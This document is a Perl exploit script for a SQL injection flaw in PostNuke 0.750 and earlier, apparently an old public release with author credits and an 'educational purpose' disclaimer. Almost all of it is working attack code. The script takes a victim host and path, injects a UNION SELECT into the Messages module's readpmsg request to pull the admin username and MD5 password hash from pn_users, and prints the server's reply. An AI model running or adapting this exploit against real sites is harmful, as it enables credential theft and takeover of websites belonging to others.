#!/usr/bin/perl
PostNuke <= 0.750.php SQL Injection Exploit
# This tools is only for educational purpose## K-C0d3r a x0n3-h4ck friend !!!## This exploit should give admin nick and md5 password##-=[ PostNuke SQL Injection version : x=> 0.750]=-#-=[ ]=-#-=[ Discovered by sp3x ]=-#-=[ Coded by K-C0d3r ]=-#-=[ irc.xoned.net #x0n3-h4ck to find me K-c0d3r[at]x0n3-h4ck.org]=-## Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke## !!! NOW IS PUBLIC (6-6-2005) !!!use IO::Socket;sub Usage {print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com> </path/to/modules.php>\n";exit;}if (@ARGV < 2){ Usage();}if (@ARGV > 2){ Usage();}if (@ARGV == 2){$host = @ARGV[0];$path = @ARGV[1];print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n";print "[+] Connecting to $host\n";$injection = "$host\/$path?";$injection .= "op=modload&name=Messages&file=readpmsg&start=0";$injection .= "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=2\/*&total_messages=1";$socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, Proto => 'tcp'); die unless $socket;print "[+] Injecting command ...\n";print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";while (<$socket>){ print $_; exit;}}
